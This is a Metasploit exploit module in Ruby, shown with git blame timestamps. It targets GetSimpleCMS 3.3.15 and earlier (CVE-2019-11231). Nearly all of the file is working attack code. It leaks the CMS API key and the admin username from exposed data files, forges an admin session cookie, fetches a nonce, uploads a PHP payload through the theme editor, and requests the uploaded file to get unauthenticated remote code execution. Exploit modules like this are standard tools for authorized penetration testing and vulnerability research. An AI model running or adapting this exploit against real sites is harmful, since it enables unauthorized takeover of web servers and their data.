Files
metasploit-gs/modules/exploits/multi/http/getsimplecms_unauth_code_exec.rb
T

179 lines
5.3 KiB
Ruby
Raw Normal View History

2019-05-01 20:05:57 -04:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "GetSimpleCMS Unauthenticated RCE",
'Description' => %q{
This module exploits a vulnerability found in GetSimpleCMS,
which allows unauthenticated attackers to perform Remote Code Execution.
2019-05-04 23:11:40 -05:00
An arbitrary file upload (PHPcode for example) vulnerability can be triggered by an authenticated user,
however authentication can be bypassed by leaking the cms API key to target the session manager.
2019-05-01 20:05:57 -04:00
},
'License' => MSF_LICENSE,
'Author' =>
[
2019-05-04 23:11:40 -05:00
'truerand0m' # Discovery, exploit and Metasploit from Khalifazo,incite_team
2019-05-01 20:05:57 -04:00
],
'References' =>
[
['CVE', '2019-11231'],
2019-05-04 23:24:20 -05:00
['URL', 'https://ssd-disclosure.com/archives/3899/ssd-advisory-getcms-unauthenticated-remote-code-execution'],
2019-05-01 20:05:57 -04:00
],
'Payload' =>
{
'BadChars' => "\x00"
},
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
['GetSimpleCMS 3.3.15 and before', {}]
],
'Privileged' => false,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2019-04-28',
2019-05-01 20:05:57 -04:00
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to the cms', '/'])
])
end
def gscms_version
res = send_request_cgi(
'method' => 'GET',
2019-05-15 15:40:27 -05:00
'uri' => normalize_uri(target_uri.path, 'admin', '/')
2019-05-01 20:05:57 -04:00
)
return unless res && res.code == 200
generator = res.get_html_document.at(
'//script[@type = "text/javascript"]/@src'
)
2019-05-15 15:40:27 -05:00
fail_with(Failure::NotFound, 'Failed to retrieve generator') unless generator
2019-05-01 20:05:57 -04:00
vers = generator.value.split('?v=').last.gsub(".","")
return unless vers
@version = vers
end
def get_salt
2019-05-15 15:40:27 -05:00
uri = normalize_uri(target_uri.path, 'data', 'other', 'authorization.xml')
2019-05-01 20:05:57 -04:00
res = send_request_cgi(
'method' => 'GET',
'uri' => uri
)
return unless res && res.code == 200
2019-05-15 15:40:27 -05:00
fail_with(Failure::NotFound, 'Failed to retrieve salt') if res.get_xml_document.at('apikey').nil?
2019-05-01 20:05:57 -04:00
@salt = res.get_xml_document.at('apikey').text
end
def get_user
2019-05-15 15:40:27 -05:00
uri = normalize_uri(target_uri.path, 'data', 'users' ,'/')
2019-05-01 20:05:57 -04:00
res = send_request_cgi(
'method' => 'GET',
'uri' => uri
)
return unless res && res.code == 200
2019-05-15 15:40:27 -05:00
fail_with(Failure::NotFound, 'Failed to retrieve username') if res.get_html_document.at('[text()*="xml"]').nil?
2019-05-01 20:05:57 -04:00
@username = res.get_html_document.at('[text()*="xml"]').text.split('.xml').first
end
def gen_cookie(version,salt,username)
cookie_name = "getsimple_cookie_#{version}"
sha_salt_usr = Digest::SHA1.hexdigest("#{username}#{salt}")
sha_salt_cookie = Digest::SHA1.hexdigest("#{cookie_name}#{salt}")
@cookie = "GS_ADMIN_USERNAME=#{username};#{sha_salt_cookie}=#{sha_salt_usr}"
end
def get_nonce(cookie)
res = send_request_cgi({
2019-05-15 15:40:27 -05:00
'method' => 'GET',
'uri' => normalize_uri(target_uri,'admin','theme-edit.php'),
'cookie' => cookie,
'vars_get' => {
't' => 'Innovation',
'f' => 'Default Template',
's' => 'Edit'
}
2019-05-01 20:05:57 -04:00
})
2019-05-15 15:40:27 -05:00
fail_with(Failure::NotFound, 'Failed to retrieve nonce') if res.get_html_document.at('//input[@id = "nonce"]/@value').nil?
2019-05-01 20:05:57 -04:00
@nonce = res.get_html_document.at('//input[@id = "nonce"]/@value')
end
def exploit
2019-05-01 20:05:57 -04:00
unless check == CheckCode::Vulnerable
fail_with(Failure::NotVulnerable, 'It appears that the target is not vulnerable')
end
version = gscms_version
2019-05-15 15:40:27 -05:00
salt = get_salt
username = get_user
2019-05-01 20:05:57 -04:00
cookie = gen_cookie(version,salt,username)
nonce = get_nonce(cookie)
2019-05-15 15:40:27 -05:00
2019-05-04 23:11:40 -05:00
fname = "#{rand_text_alpha(6..16)}.php"
2019-05-01 20:05:57 -04:00
php = %Q|<?php #{payload.encoded} ?>|
upload_file(cookie,nonce,fname,php)
2019-05-04 23:11:40 -05:00
send_request_cgi({
2019-05-01 20:05:57 -04:00
'method' => 'GET',
'uri' => normalize_uri(target_uri.path,'theme',fname),
})
end
def check
2019-05-04 23:11:40 -05:00
version = gscms_version
unless version
return CheckCode::Safe
2019-05-01 20:05:57 -04:00
end
2019-05-04 23:11:40 -05:00
vprint_status "GetSimpleCMS version #{version}"
unless vulnerable
return CheckCode::Detected
2019-05-01 20:05:57 -04:00
end
2019-05-04 23:11:40 -05:00
CheckCode::Vulnerable
2019-05-01 20:05:57 -04:00
end
def vulnerable
2019-05-15 15:40:27 -05:00
uri = normalize_uri(target_uri.path, 'data', 'other', 'authorization.xml')
2019-05-01 20:05:57 -04:00
res = send_request_cgi(
'method' => 'GET',
'uri' => uri
)
return unless res && res.code == 200
2019-05-15 15:40:27 -05:00
uri = normalize_uri(target_uri.path, 'data', 'users', '/')
2019-05-01 20:05:57 -04:00
res = send_request_cgi(
'method' => 'GET',
'uri' => uri
)
return unless res && res.code == 200
2019-05-04 23:11:40 -05:00
return true
2019-05-01 20:05:57 -04:00
end
def upload_file(cookie,nonce,fname,content)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,'admin','theme-edit.php'),
'cookie' => cookie,
'vars_post' => {
'submitsave' => 2,
'edited_file' => fname,
'content' => content,
'nonce' => nonce
}
})
end
end